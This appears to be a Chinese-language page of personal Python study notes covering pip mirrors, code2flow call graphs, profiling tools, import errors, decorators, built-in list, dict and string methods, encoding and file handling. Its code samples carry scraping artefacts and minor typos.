镜像源地址 阿里云 https://mirrors.aliyun.com/pypi/simple/ 中国科技大学 https://pypi.mirrors.ustc.edu.cn/simple/ 豆瓣(douban) http://pypi.douban.com/simple/ 清华大学 https://pypi.tuna.tsinghua.edu.cn/simple/ 中国科学技术大学 http://pypi.mirrors.ustc.edu.cn/simple/ 补充:将包装到指定路径:pip install -i https://pypi.tuna.tsinghua.edu.cn/simple pygame --target=C:/Users/233/AppData/Local/Programs/Python/Python38/Lib/site-packages
+
code2flow
---- 根据 python 代码生成项目结构及函数调用图 概述(摘自项目README) Code2flow generates call graphsopen in new window for dynamic programming language. Currently, code2flow supports Python and Javascript.
The basic algorithm is simple:
Find function definitions in your project's source code. Determine where those functions are called. Connect the dots. Code2flow is useful for:
Untangling spaghetti code. Identifying orphaned functions. Getting new developers up to speed. 安装 clone
code2flow 仓库open in new window 或者 download Zip
或者在此处open in new window 获取我下好的仓库压缩包 (2021.5.22
) 并解压在此处open in new window 选择系统相应版本的软件进行下载;或者在此处open in new window 获取我下好的版本 (Windows 10 (64-bit) v-2.47.1
); 下载完后运行并安装此软件(安装过程中记得勾选添加环境变量) 选择一个自己趁手的 python 环境管理工具
(这里我用的 anaconda
) 在一个 python 环境
下打开命令行(我直接用的 Pycharm 打开项目 然后选择一个 conda 环境作为项目的python解释器之后在Pycharm的终端命令行中执行的) 在项目根目录执行python setup.py install
+
成功安装后在当前 python 环境的根目录下的 Scripts
目录下可以看到一个 code2flow
文件 使用 不支持中文,注释也不行,因此第一步就是要给待会要作为基底生成流程图的python文件去中文注释
由于 VSCode
的查询功能有正则匹配的模式,所以想到使用 VSCode
直接去除整个文档的注释
记得备份原文档(直接使用拷贝文档就是了) (^#.*
匹配以#开头后接任意个任意字符的语句来去掉注释行)[PS : .
不会匹配 \n
(换行)] 匹配行首注释 #.*
匹配行尾注释 将去除注释的文件和 安装过程中最后指出的 Scripts
目录下的 code2flow
文件拷贝到同一文件目录下并用已经安装好 code2flow
的 python环境
打开该文件夹并打开命令行执行
python code2flow mypythonfile.py
+
程序性能分析 执行时间 pyinstrument joerick/pyinstrument: 🚴 Call stack profiler for Python. Shows you why your code is slow! (github.com)open in new window
User guide - pyinstrument 4.3.0 documentationopen in new window
pip install pyinstrument
+
用例: 单文件脚本分析并输出 html 分析页
pyinstrument -r html script.py
+
使用datetime判断 import datetime
+
+
+begin = datetime. datetime. now( )
+
+
+end = datetime. datetime. now( )
+print ( "程序执行时间:{0}" . format ( end- begin) )
+
内存占用 guppy3 安装pip install - i https: // pypi. tuna. tsinghua. edu. cn/ simple guppy3
+
使用 from guppy import hpy
+h = hpy( )
+print ( h. heap( ) )
+
使用memory_profiler查看 安装pip install - i https: // pypi. tuna. tsinghua. edu. cn/ simple - U memory_profiler
+
使用import memory_profiler
+
+@memory_profiler. profile
+def 函数名( ) :
+ 你要测试内存占用的代码
+
+
+函数名( )
+
import 相关 相对导入引发的相关问题
python - ImportError : Attempted relative import with no known parent package - Stack Overflowopen in new window
python - Relative imports for the billionth time - Stack Overflowopen in new window
【一分钟解决】Python报错ImportError: attempted relative import with no known parent package_jaredyam的博客-CSDN博客open in new window
终于搞懂了Python模块之间的相互引用问题 - 知乎 (zhihu.com)open in new window
ModuleNotFoundError ModuleNotFoundError: No module named '__main__.src_test1'; '__main__' is not a package
+
一般出现于运行的当前文件中通过相对引用 .xxx
引入其他模块时由于运行时当前模块名为 __main__
所以会对相对引用路径进行拼接导致引用错误
解决方法: 引用当前文件同级目录下的模块可以不用 .
拼接直接 import xxx
ImportError ImportError: attempted relative import with no known parent package
+
|--- test_main.py
+|--- src
+ |--- __init__.py
+ |--- src_test1.py
+ |--- src_test2.pys
+ |--- test_src.py
+
src_test1.py
:
from . src_test2 import Test2
+def func1 ( ) :
+ pass
+
test_src.py
:
from src_test1 import fun1
+
运行 test_src.py
会上述错误, 问题在于引入 src_test1
时, src_test1
内使用 .
拼接相对路径引用 src_test2
, 由于 .
的存在, 需要先找到父包才能继续拼接路径, 但是当前 test_src.py
被认为是根结点(没有父包), 所以会报 no know parent package
解决方案 需要注意的是: 上面的报错都是运行时报错, 在编写代码时至少 VSCode 是不会报错的, 那么个人的解决方案就是将主业务全放在工作区根目录下的一个目录下, 然后在根目录放一个 py
文件调用程序主入口来启动程序
基础杂项 函数注释 python函数注释 - stardsd - 博客园 (cnblogs.com)open in new window
什么是 REST 风格 - 知乎 (zhihu.com)open in new window
理解RESTful架构 - 阮一峰的网络日志 (ruanyifeng.com)open in new window
Rest 风格的注释:
"""
+This is a reST style.
+
+:param param1: this is a first param
+:param param2: this is a second param
+:returns: this is a description of what is returned
+:raises keyError: raises an exception
+"""
+
深浅拷贝 该部分来源open in new window 直接赋值:其实就是对象的引用(别名)。 浅拷贝(copy):拷贝父对象,不会拷贝对象的内部的子对象。 深拷贝(deepcopy): copy 模块的 deepcopy 方法,完全拷贝了父对象及其子对象。 字典浅拷贝实例 >> > a = { 1 : [ 1 , 2 , 3 ] }
+>> > b = a. copy( )
+>> > a, b
+( { 1 : [ 1 , 2 , 3 ] } , { 1 : [ 1 , 2 , 3 ] } )
+>> > a[ 1 ] . append( 4 )
+>> > a, b
+( { 1 : [ 1 , 2 , 3 , 4 ] } , { 1 : [ 1 , 2 , 3 , 4 ] } )
+
深度拷贝需要引入 copy 模块: >> > import copy
+>> > c = copy. deepcopy( a)
+>> > a, c
+( { 1 : [ 1 , 2 , 3 , 4 ] } , { 1 : [ 1 , 2 , 3 , 4 ] } )
+>> > a[ 1 ] . append( 5 )
+>> > a, c
+( { 1 : [ 1 , 2 , 3 , 4 , 5 ] } , { 1 : [ 1 , 2 , 3 , 4 ] } )
+
解析 b = a: 赋值引用,a 和 b 都指向同一个对象。
b = a.copy(): 浅拷贝, a 和 b 是一个独立的对象,但他们的子对象还是指向统一对象(是引用)。
b = copy.deepcopy(a): 深度拷贝, a 和 b 完全拷贝了父对象及其子对象,两者是完全独立的。
逻辑符号 and的优先级要大于or a and b语句的输出全看a的Boolean值,如果a为True,输出b;反之,如果a为False,输出a a or b语句的输出也全看a的Boolean值,如果a为True,输出a;反之,如果a为False,输出b 在python中not是逻辑判断词,用于布尔型True和False,notTrue为False,notFalse为True 只有0、None、空、False的布尔值为False,其余的为True。 参与数学运算时,True->1,False->0; 随手记 输出 print函数的参数end表示分隔参数(默认为回车) Python格式化输出 %s %d %f %% 百分号标记 %c 字符及其ASCII码 %s 字符串 %d 有符号整数(十进制) %u 无符号整数(十进制) %o 无符号整数(八进制) %x 无符号整数(十六进制) %X 无符号整数(十六进制大写字符) %e 浮点数字(科学计数法) %E 浮点数字(科学计数法,用E代替e) %f 浮点数字(用小数点符号) %g 浮点数字(根据值的大小采用%e或%f) %G 浮点数字(类似于%g) %p 指针(用十六进制打印值的内存地址) %n 存储输出字符的数量放进参数列表的下一个变量中 %格式化符也可用于字典,可用%(name)引用字典中的元素进行格式化输出。
+nYear = 2018
+nMonth = 9
+nDay = 12
+
+print ( '%04d-%02d-%02d' % ( nYear, nMonth, nDay) )
+>> 2018 - 09 - 12
+
+fValue = 8.123
+print ( '%06.2f' % fValue)
+>> 008.12
+
+print ( '%d' % 10 )
+>> 10
+
+print ( '%o' % 10 )
+>> 12
+
+print ( '%02x' % 10 )
+>> 0a
+
+print ( '%04X' % 10 )
+>> 000A
+
+print ( '%.2e' % 1.2888 )
+>> 1.29e+00
+
格式化操作符辅助指令 符号 作用 * 定义宽度或者小数点精度 - 用做左对齐 + 在正数前面显示加号( + ) <sp> 在正数前面显示空格 # 在八进制数前面显示零('0'),在十六进制前面显示'0x'或者'0X'(取决于 用的是'x'还是'X') 0 显示的数字前面填充‘0’而不是默认的空格 % '%%'输出一个单一的'%' (var) 映射变量(字典参数) m.n m 是显示的最小总宽度,n 是小数点后的位数(如果可用的话) random randint用于生成正数类型随机数 n = randint(20, 100) # 20<=n<=100 时间 time.localtime() 描述: Python time localtime() 函数类似gmtime(),作用是格式化时间戳为本地的时间。 如果sec参数未输入,则以当前时间为转换标准。 DST (Daylight Savings Time) flag (-1, 0 or 1) 是否是夏令时。 语法: 参数: sec -- 转换为time.struct_time类型的对象的秒数。 返回值: 运算符 海象运算符 Python 海象运算符 - 知乎 (zhihu.com)open in new window
Python 海象运算符 :=
是在 PEP 572 中提出,并在 Python3.8 版本并入发布。
海象运算符 :=
可用于在表达式中赋值,例如:
a = 2
+if a > 1 :
+ print ( "233" )
+
用 :=
写的话就是:
if a:= 2 > 1 :
+ print ( "233" )
+
函数 返回函数参数表及参数数目 lamda函数:定义匿名函数 相当于:
函数注释 def dog ( name: str , age: ( 1 , 99 ) , species: '狗狗的品种' ) - > tuple :
+ return ( name, age, species)
+
查看这些注释可以通过自定义函数的特殊属性__annotations__获取,结果会议字典的形式返回: def dog ( name: str = 'dobi' , age: ( 1 , 99 ) = 3 , species: '狗狗的品种' = 'Labrador' ) - > tuple :
+ return ( name, age, species)
+
*args,**kwargs 原文链接open in new window
*args的用法 当传入的参数个数未知,且不需要知道参数名称时使用*args; **kwargs的用法 当传入的参数个数未知,但需要知道参数的名称时(立马想到了字典,即键值对) def func_kwargs ( farg, ** kwargs) :
+ print ( "formal arg:" , farg)
+ for key in kwargs:
+ print ( "keyword arg: %s: %s" % ( key, kwargs[ key] ) )
+func_kwargs( 1 , id = 1 , name= 'youzan' , city= 'hangzhou' , age = '20' , 四块五的妞是 = '来日方长的' )
+print ( '--------------------' )
+
+
+
+
+
+
+
+
+
+def kw_dict ( ** kwargs) :
+ return kwargs
+print ( kw_dict( a= 1 , b= 2 , c= 3 ) )
+
+
+
+
函数装饰器 装饰器 - 廖雪峰的官方网站 (liaoxuefeng.com)open in new window
Python 一切皆对象, 函数也不例外, 可以通过将函数赋给变量, 这样通过该变量也可以调用该函数
def Func1 ( ) :
+ print ( "Hello" )
+
+f = Func1
+f( )
+
可以通过函数的 __name__
属性拿到函数名:
如果现在有个需求是在每个函数执行时都要输出日志, 那么此时可以使用 decorator(装饰器), 比如如下装饰器:
+
+def log ( func) :
+ def wrapper ( * args, ** kwargs) :
+ print ( f'call { func. __name__} ()' )
+ return func( * asrgs, ** kwargs)
+ return wrapper
+
要使用这个装饰器需要用 @ 语法将其置于被装饰函数的定义处, 如:
@log
+def func2 ( ) :
+ print ( "亻尔女子" )
+
+func2( )
+
将 @log
放在 func2
的定义处, 相当于执行了:
由于 log
是个装饰器, 返回一个函数, 所以原来的 func2
依然存在, 只是同名的 func2
变量指向了新的函数, 于是使用 func2()
将会执行新的函数, 也即 log()
中返回的 wrapper()
wrapper()
的参数为 (*args, **kwagrs)
可以接收任一参数, 在 wrapper()
中先打印了日志接着调用了原本的函数
带参数的三层装饰器 如果装饰器本身需要传入参数的话则需要再多编一层函数, 比如给 log 加上自定义文本前缀
+def log ( text) :
+ def decorator ( func) :
+ def wrapper ( * args, ** kwargs) :
+ print ( f' { text} , { func. __name__} ()' )
+ return func( * args, ** kwargs)
+ return wrapper
+ return decorator
+
用 log
装饰函数用法如下:
@log ( 'execute' )
+def func3 ( ) :
+ print ( '你好' )
+
+func3( )
+
对齐被装饰函数属性 由于函数也是对象, 有 __name__
等属性, 使用上述写法的装饰器再调用装饰完的函数的 __name__
会发现已经变成 wrapper
了
而有些依赖函数签名的代码使用这种装饰器的话就会报错, 此时需要将被装饰函数的属性也移过来, 不过倒不需要手动 wrapper.__**__ = func.__**__
, python 有个内置的 functools.wraps
可以实现此操作:
+import functools
+
+
+def log ( text) :
+ def decorator ( func) :
+ @functools. wraps ( func)
+ def wrapper ( * args, ** kwargs) :
+ print ( f' { text} , { func. __name__} ()' )
+ return func( * args, ** kwargs)
+ return wrapper
+ return decorator
+
+@log ( '执行' )
+def func4 ( ) :
+ print ( 'hello' )
+
+func4( )
+
可迭代序列 切片操作 ASCII码 chr()函数 描述 chr() 用一个范围在 range(256)内的(就是0~255)整数作参数,返回一个对应的字符。 用法 chr(i) i -- 可以是10进制也可以是16进制的形式的数字。 返回值是当前整数对应的 ASCII 字符。 List 列表
index() index() 函数用于从列表中找出某个值第一个匹配项的索引位置。
用法 list . index( x[ , start[ , end] ] )
+
x-- 查找的对象。 start-- 可选,查找的起始位置。 end-- 可选,查找的结束位置。 该方法返回查找对象的索引位置,如果没有找到对象则抛出异常。 删除列表中某个元素的3种方法 1.remove
+>> > str = [ 1 , 2 , 3 , 4 , 5 , 2 , 6 ]
+>> > str . remove( 2 )
+>> > str
+>> > [ 1 , 3 , 4 , 5 , 2 , 6 ]
+
2.pop >> > str = [ 0 , 1 , 2 , 3 , 4 , 5 , 6 ]
+>> > str . pop( 1 )
+>> > str
+>> > [ 0 , 2 , 3 , 4 , 5 , 6 ]
+>> > str2= [ 'abc' , 'bcd' , 'dce' ]
+>> > str2. pop( 2 )
+>> > 'dce'
+>> > str2
+>> > [ 'abc' , 'bcd' ]
+
3.del
+>> > str = [ 1 , 2 , 3 , 4 , 5 , 2 , 6 ]
+>> > del str [ 1 ]
+>> > str
+>> > [ 1 , 3 , 4 , 5 , 2 , 6 ]
+
+>> > str2= [ 'abc' , 'bcd' , 'dce' ]
+>> > del str2[ 1 ]
+>> > str2
+>> > [ 'abc' , 'dce' ]
+
+
>> > str = [ 0 , 1 , 2 , 3 , 4 , 5 , 6 ]
+>> > del str [ 2 : 4 ]
+>> > str
+>> > [ 0 , 1 , 4 , 5 , 6 ]
+
+
del 也可以删除整个数据对象(列表、集合等)>> > str = [ 0 , 1 , 2 , 3 , 4 , 5 , 6 ]
+>> > del str
+>> > str
+
Traceback ( most recent call last) :
+File "<pyshell#27>" , line 1 , in < module>
+str
+NameError: name 'str' is not defined
+
注意:del是删除引用(变量)而不是删除对象(数据),对象由自动垃圾回收机制(GC)删除。
补充: 删除元素的变相方法 s1 = ( 1 , 2 , 3 , 4 , 5 , 6 )
+s2 = ( 2 , 3 , 5 )
+s3 = [ ]
+for i in s1:
+ if i not in s2:
+ s3. append( i)
+print ( 's1_1:' , s1)
+s1 = s3
+print ( 's2:' , s2)
+print ( 's3:' , s3)
+print ( 's1_2:' , s1)
+
sort() sort() 函数用于对原列表进行排序,如果指定参数,则使用比较函数指定的比较函数。
用法 list . sort( key= None , reverse= False )
+
key -- 主要是用来进行比较的元素,只有一个参数,具体的函数的参数就是取自于可迭代对象中,指定可迭代对象中的一个元素来进行排序。 reverse -- 排序规则,reverse = True 降序, reverse = False 升序(默认)。 注意:该方法没有返回值 ,但是会对列表的对象进行排序。 list.sort()改变自身 map() map() 会根据提供的函数对指定序列做映射。
用法 map ( function, iterable, . . . )
+
function -- 函数 iterable -- 一个或多个序列 第一个参数 function 以参数序列中的每一个元素调用 function 函数,返回包含每次 function 函数返回值的新列表。 返回值 Python 2.x 返回列表。 Python 3.x 返回迭代器。 示例: >> > def square( x) :
+. . . return x ** 2
+. . .
+>> > map ( square, [ 1 , 2 , 3 , 4 , 5 ] )
+[ 1 , 4 , 9 , 16 , 25 ]
+>> > map ( lambda x: x ** 2 , [ 1 , 2 , 3 , 4 , 5 ] )
+[ 1 , 4 , 9 , 16 , 25 ]
+
+
+>> > map ( lambda x, y: x + y, [ 1 , 3 , 5 , 7 , 9 ] , [ 2 , 4 , 6 , 8 , 10 ] )
+[ 3 , 7 , 11 , 15 , 19 ]
+
注意点:map对象只能访问一次 A_object = map ( str , range ( 3 ) )
+A_list = list ( A_object)
+B_list = list ( A_object)
+
+
+
这是由于,map函数返回的,是一个“可迭代对象”。 这种对象,被访问的同时,也在修改自己的值。 类似于 a = a+1 这样。对于map来说,就是每次访问,都把自己变为List中的下一个元素。 循环取得对象中的值 ,实际上是会调用内部函数__next__,将值改变,或者指向下一个元素。 当多次调用,代码认为到达终点了,返回结束,或者__next__指向空,此时可迭代对象(链表) 就算到终点了,不能再用了。 实验:
+
+>> A_object = map ( str , range ( 3 ) )
+>> num = A_object. __next__( )
+>> num
+'0'
+>> num = A_object. __next__( )
+>> num
+'1'
+>> A_list = List( A_object)
+>> A_list
+[ '2' ]
+
+>> num = A_object. __next__( )
+Traceback( most recent call last) :
+ Filr "<stdin>" , line 1 , in < module>
+StopIteration
+可见,该对象已经到了终点了,不能用了。
+
类似于 list(A_object) 或者 for num in A_object 这样的语句,就是调用了迭代器,执行了__next__,消耗了迭代对象。所以,再次使用A_object后,会发现它已经空了。 示例 list_x = [ 3 , 8 , 2 , 6 , 8 ]
+print ( "list_x = [3, 8, 2, 6, 8]" )
+list_w = [ 2000 , 3000 , 2500 , 1000 , 1500 ]
+print ( "list_w = [2000, 3000, 2500, 1000, 1500]" )
+list_c = [ 0.050 , 0.050 , 0.075 , 0.075 , 0.075 ]
+print ( "list_c = [0.050, 0.050, 0.075, 0.075, 0.075]" )
+wc = map ( lambda w, c: w * c, list_c, list_w)
+print ( "wc = map(lambda w, c: w * c, list_c, list_w) = {0}" . format ( wc) )
+print ( "list(wc):{0}" . format ( list ( wc) ) )
+wcx = map ( lambda w, c, x: w * c * x, list_c, list_w, list_x)
+print ( "wcx = map(lambda w, c, x: w * c * x, list_c, list_w, list_x) = {0}" . format ( wcx) )
+print ( "list(wcx):{0}" . format ( list ( wcx) ) )
+a = sum ( wcx)
+print ( "a = sum(wcx) = {0} ; wcx = {1}" . format ( a, wcx) )
+b = sum ( wc)
+print ( "b = sum(wc) = {0}" . format ( b) )
+print ( "wc = {0}" . format ( wc) )
+print ( "type(a) = {0}, type(b) = {1}" . format ( type ( a) , type ( b) ) )
+x1 = a / b
+print ( "x1 = a / b = {0}" . format ( x1) )
+print ( "sum(wc):{0} \n type(sum(wcx)):{1} \n type(sum(wc)):{2} \n" . format ( sum ( wc) , type ( sum ( wcx) ) , type ( sum ( wc) ) ) )
+print ( "wc:{0}" . format ( wc) )
+print ( "wcx:{0}" . format ( wcx) )
+x1 = sum ( wcx) / sum ( wc)
+print ( "x1 = sum(wcx) / sum(wc) = {0}" . format ( x1) )
+
+
+list_x = [ 3 , 8 , 2 , 6 , 8 ]
+list_w = [ 2000 , 3000 , 2500 , 1000 , 1500 ]
+list_c = [ 0.050 , 0.050 , 0.075 , 0.075 , 0.075 ]
+wc = map ( lambda w, c: w * c, list_c, list_w) = < map object at 0x00000210CFA9A070 >
+list ( wc) : [ 100.0 , 150.0 , 187.5 , 75.0 , 112.5 ]
+wcx = map ( lambda w, c, x: w * c * x, list_c, list_w, list_x) = < map object at 0x00000210CFA9A040 >
+list ( wcx) : [ 300.0 , 1200.0 , 375.0 , 450.0 , 900.0 ]
+a = sum ( wcx) = 0 ; wcx = < map object at 0x00000210CFA9A040 >
+b = sum ( wc) = 0
+wc = < map object at 0x00000210CFA9A070 >
+type ( a) = < class 'int' > , type ( b) = < class 'int' >
+Traceback ( most recent call last) :
+ File "E:/GithubProject/MyProJect/JuniorLessons_beta/BigDataMicroMajor/Python/globalTest.py" , line 19 , in < module>
+ x1 = a / b
+ZeroDivisionError: division by zero
+
问题示例 list_x = [ 3 , 8 , 2 , 6 , 8 ]
+list_w = [ 2000 , 3000 , 2500 , 1000 , 1500 ]
+list_c = [ 0.050 , 0.050 , 0.075 , 0.075 , 0.075 ]
+wc = map ( lambda w, c: w * c, list_c, list_w)
+wcx = map ( lambda w, c, x: w * c * x, list_c, list_w, list_x)
+a = sum ( wcx)
+b = sum ( wc)
+print ( type ( a) , type ( b) )
+x1 = a / b
+print ( x1)
+print ( sum ( wc) , type ( sum ( wcx) ) , type ( sum ( wc) ) )
+x1 = sum ( wcx) / sum ( wc)
+print ( x1)
+
+
+Traceback ( most recent call last) :
+ File "E:/GithubProject/MyProJect/JuniorLessons_beta/BigDataMicroMajor/Python/globalTest.py" , line 12 , in < module>
+ x1 = sum ( wcx) / sum ( wc)
+ZeroDivisionError: division by zero
+< class 'float' > < class 'float' >
+5.16
+0 < class 'int' > < class 'int' >
+
+list_x = [ 3 , 8 , 2 , 6 , 8 ]
+list_w = [ 2000 , 3000 , 2500 , 1000 , 1500 ]
+list_c = [ 0.050 , 0.050 , 0.075 , 0.075 , 0.075 ]
+wc = map ( lambda w, c: w * c, list_c, list_w)
+wcx = map ( lambda w, c, x: w * c * x, list_c, list_w, list_x)
+a = sum ( wcx)
+print ( "list(wcx) = {0}" . format ( list ( wcx) ) )
+print ( "wcx._next_() : {0}" . format ( wcx. __next__( ) ) )
+
+
+Traceback ( most recent call last) :
+ File "E:/GithubProject/MyProJect/JuniorLessons_beta/BigDataMicroMajor/Python/globalTest.py" , line 8 , in < module>
+ print ( "wcx._next_() : {0}" . format ( wcx. __next__( ) ) )
+StopIteration
+list ( wcx) = [ ]
+
+
filter filter() 函数用于过滤序列,过滤掉不符合条件的元素,返回由符合条件元素组成的新列表。 该接收两个参数,第一个为函数,第二个为序列,序列的每个元素作为参数传递给函数进行判断,然后返回 True 或 False,最后将返回 True 的元素放到新列表中。 注意: Pyhton2.7 返回列表,Python3.x 返回迭代器对象,具体内容可以查看:Python3 filter() 函数
filter ( function, iterable)
+
function -- 判断函数。 iterable -- 可迭代对象。 str 字符串
修饰符 Python replace() 方法把字符串中的 old(旧字符串) 替换成 new(新字符串),如果指定第三个参数max,则替换不超过 max 次。
用法 str . replace( old, new[ , max ] )
+
old -- 将被替换的子字符串。 new -- 新字符串,用于替换old子字符串。 max -- 可选字符串, 替换不超过 max 次 返回字符串中的 old(旧字符串) 替换成 new(新字符串)后生成的新字符串 ,如果指定第三个参数max,则替换不超过 max 次。 split() Python split() 通过指定分隔符对字符串进行切片,如果参数 num 有指定值,则分隔 num+1 个子字符串
用法 str . split( str = "" , num= string. count( str ) ) .
+
str -- 分隔符,默认为所有的空字符,包括空格、换行(\n)、制表符(\t)等。 num -- 分割次数。默认为 -1, 即分隔所有。 返回分割后的字符串列表。 注意:该方法不会改变原本的字符串
+str_t = "Line1-abcdef \nLine2-abc \nLine4-abcd"
+print ( "str_t:\n" + str_t)
+print ( "str_t.split():" )
+print ( str_t. split( ) )
+print ( "str_t.split(' ', 1):" )
+print ( str_t. split( ' ' , 1 ) )
+
+
+str_t:
+Line1- abcdef
+Line2- abc
+Line4- abcd
+str_t. split( ) :
+[ 'Line1-abcdef' , 'Line2-abc' , 'Line4-abcd' ]
+str_t. split( ' ' , 1 ) :
+[ 'Line1-abcdef' , '\nLine2-abc \nLine4-abcd' ]
+
+
join() Python join() 方法用于将序列中的元素以指定的字符连接生成一个新的字符串。
用法 sequence -- 要连接的元素序列。 返回通过指定字符连接序列中元素后生成的新字符串。
+str_t = ""
+seq = ( "a" , "b" , "c" )
+print ( str_t. join( seq) )
+
+abc
+
strip() Python strip() 方法用于移除字符串头尾指定的字符(默认为空格或换行符)或字符序列。
注意:该方法只能删除开头或是结尾的字符,不能删除中间部分的字符。 用法 chars -- 移除字符串头尾指定的字符序列。 返回移除字符串头尾指定的字符生成的新字符串。
+str_t = "00000003210Runoob01230000000"
+print ( str_t. strip( '0' ) )
+print ( )
+str2 = " Runoob "
+print ( str2. strip( ) )
+
+
+3210Runoob0123
+
+Runoob
+
lower() Python lower() 方法转换字符串中所有大写字符为小写。
用法 返回将字符串中所有大写字符转换为小写后生成的字符串。 注意:此方法并不会改变原有列表,而是生成一个新列表
string 模块 import string
string. ascii_uppercase 所有大写字母
+string. ascii_lowercase 所有小写字母
+string. ascii_letters 所有字母
+string. digits 所有数字
+
dict 字典是另一种可变容器模型,且可存储任意类型对象。 字典的每个键值 key=>value 对用冒号 : 分割,每个键值对之间用逗号 , 分割,整个字典包括在花括号 {} 中 ,格式如下所示:d = { key1 : value1, key2 : value2 }
+
键一般是唯一的,如果重复最后的一个键值对会替换前面的,值不需要唯一。>> > dict = { 'a' : 1 , 'b' : 2 , 'b' : '3' }
+>> > dict [ 'b' ]
+'3'
+>> > dict
+{ 'a' : 1 , 'b' : '3' }
+
值可以取任何数据类型,但键必须是不可变的,如字符串,数字或元组。 一个简单的字典实例:dict = { 'Alice' : '2341' , 'Beth' : '9102' , 'Cecil' : '3258' }
+
也可如此创建字典:dict1 = { 'abc' : 456 }
+dict2 = { 'abc' : 123 , 98.6 : 37 }
+
访问字典里的值 把相应的键放入熟悉的方括弧,如下实例:
+dict1 = { 'Name' : 'Zara' , 'Age' : 7 , 'Class' : 'First' }
+
+print ( "dict1['Name']: " , dict1[ 'Name' ] )
+print ( "dict['Age']: " , dict1[ 'Age' ] )
+
+
+dict1[ 'Name' ] : Zara
+dict [ 'Age' ] : 7
+
items Python 字典(Dictionary) items() 函数以列表返回可遍历的(键, 值) 元组数组。 用法 示例 dict1 = {'Google': 'www.google.com', 'Runoob': 'www.runoob.com',
+ 'taobao': 'www.taobao.com'}
+
+print("字典值 : %s" % dict1.items())
+
+# 遍历字典列表
+for key, values in dict1.items():
+ print(key, values)
+
+# 运行结果
+字典值 : dict_items([('Google', 'www.google.com'), ('Runoob', 'www.runoob.com'), ('taobao', 'www.taobao.com')])
+Google www.google.com
+Runoob www.runoob.com
+taobao www.taobao.com
+
修改字典 向字典添加新内容的方法是增加新的键/值对,修改或删除已有键/值对如下
+dict1 = { 'Name' : 'Zara' , 'Age' : 7 , 'Class' : 'First' }
+
+dict1[ 'Age' ] = 8
+dict1[ 'School' ] = "RUNOOB"
+
+print ( "dict1['Age']: " , dict1[ 'Age' ] )
+print ( "dict1['School']: " , dict1[ 'School' ] )
+
+
+dict1[ 'Age' ] : 8
+dict1[ 'School' ] : RUNOOB
+
删除字典元素 能删单一的元素也能清空字典,清空只需一项操作。 删除一个字典用del命令 del dict [ 'Name' ]
+dict . clear( )
+del dict
+
字典键的特性 字典值可以没有限制地取任何python对象,既可以是标准的对象,也可以是用户定义的,但键不行。 两个重要的点 需要记住: 不允许同一个键出现两次。创建时如果同一个键被赋值两次,后一个值会被记住 键必须不可变,所以可以用数字,字符串或元组充当,所以用列表就不行 文件操作 学习目标 熟练掌握内置函数open()的应用 理解字符串编码格式对文本文件操作的影响 熟练掌握上下文管理语句with的用法 了解标准库json对JSON文件的读写方法 了解扩展库python-docx、openpyxl、python-pptx对Office文档的操作 python中的文件对象: 文件对象不仅可以用来访问普通的磁盘文件, 而且也可以访问任何其它类型抽象层面上的"文件". 一旦设置了合适的"钩子", 你就可以访问具有文件类型接口的其它对象, 就好像访问的是普通文件一样. 文件与文件类型 文件是存储在外部介质上的一组相关数据的集合。文件的基本单位是字节。文件名由两部分组成:主文件名和扩展名 按文件中的数据组织形式文件分为两类: 文本文件 由字符组成,按ASCII码、UTF-8或Unicode等格式编码,文件内容方便查看和编辑。 二进制文件 由0和1组成的二进制编码。典型的二进制文件包括bmp格式的图片文件、avi格式的视频文件、各种计算机语言编译后生成的文件等。 无论是文本文件还是二进制文件,都可以用“文本文件方式”和“二进制文件方式”打开,但打开后的操作是不同的。 csv文件 .csv是一种文件格式(如.txt、.doc等),也可理解.csv文件就是一种特殊格式的纯文本文件。即是一组字符序列,字符之间已英文字符的逗号或制表符(Tab)分隔。 字符编码 编码是用数字来表示符号和文字的一种方式, 信息传递与编码关系:编码--传递--解码 常见的编码 ASCII 美国标准信息交换码 UTF-8 国际通用编码 GB2312 中国制定的中文编码 GBK GB2312编码的扩展 Unicode 国际组织制定的可以容纳世界上所有文字和符号的字符编码方案。 字符串在Python内部的表示是unicode编码 因此,在做编码转换时,通常需要以unicode作为中间编码, 即先将其他编码的字符串解码(decode)成unicode, 再从unicode编码(encode)成另一种编码。 decode的作用是将其他编码的字符串转换成unicode编码 表示将gb2312编码的字符串str1转换成unicode编码。 encode的作用是将unicode编码转换成其他编码的字符串 表示将unicode编码的字符串str2转换成gb2312编码。 如:s='中文' 如果是在utf8的文件中,该字符串就是utf8编码,如果是在gb2312的文件中,则其编码为gb2312。 这种情况下,要进行编码转换,都需要先用decode方法将其转换成unicode编码,再使用encode方法将其转换成其他编码。 通常,在没有指定特定的编码方式时,都是使用的系统默认编码创建的代码文件。如下: s. decode( 'utf-8' ) . encode( 'utf-8' )
+
decode():是解码 encode()是编码 isinstance(s,unicode): 判断s是否是unicode编码,如果是就返回true,否则返回false 文件操作基础 内置函数open() Python内置函数open()使用指定的模式打开指定文件并创建文件对象,该函数完整的用法如下:open ( file , mode= 'r' , buffering= - 1 , encoding= None ,
+ errors= None , newline= None , closefd= True , opener= None )
+
模式 说明 r 读模式(默认模式,可省略),如果文件不存在,抛出异常 w 写模式,如果文件已存在,先清空原有内容;如果文件不存在,创建新文件 x 写模式,创建新文件,如果文件已存在则抛出异常 a 追加模式,不覆盖文件中原有内容 b 二进制模式(可与r、w、x或a模式组合使用) t 文本模式(默认模式,可省略) + 读、写模式(可与其他模式组合使用)
文件对象常用方法 方法 功能说明 close() 把缓冲区的内容写入文件,同时关闭文件,释放文件对象 read([size]) 从文本文件中读取并返回size个字符,或从二进制文件中读取并返回size个字节,省略size参数表示读取文件中全部内容 readline() 从文本文件中读取并返回一行内容 readlines() 返回包含文本文件中每行内容的列表 seek(cookie, whence=0, /) 定位文件指针,把文件指针移动到相对于whence的偏移量为cookie的位置。其中whence为0表示文件头,1表示当前位置,2表示文件尾。对于文本文件,whence=2时cookie必须为0;对于二进制文件,whence=2时cookie可以为负数 write(s) 把s的内容写入文件,如果写入文本文件则s应该是字符串,如果写入二进制文件则s应该是字节串 writelines(s) 把列表s中的所有字符串写入文本文件,并不在s中每个字符串后面自动增加换行符。也就是说,如果确实想让s中的每个字符串写入文本文件之后各占一行,应由程序员保证每个字符串以换行符结束
上下文管理语句with 在实际开发中,读写文件应优先考虑使用上下文管理语句with。关键字with可以自动管理资源,不论因为什么原因跳出with块,总能保证文件被正确关闭。除了用于文件操作,with关键字还可以用于数据库连接、网络连接或类似场合。用于文件内容读写时,with语句的语法形式如下: with open ( filename, mode, encoding) as fp:
+
+
文件的打开或创建的访问模式
+>> > file2= open ( “c1. py”, ”r”)
+
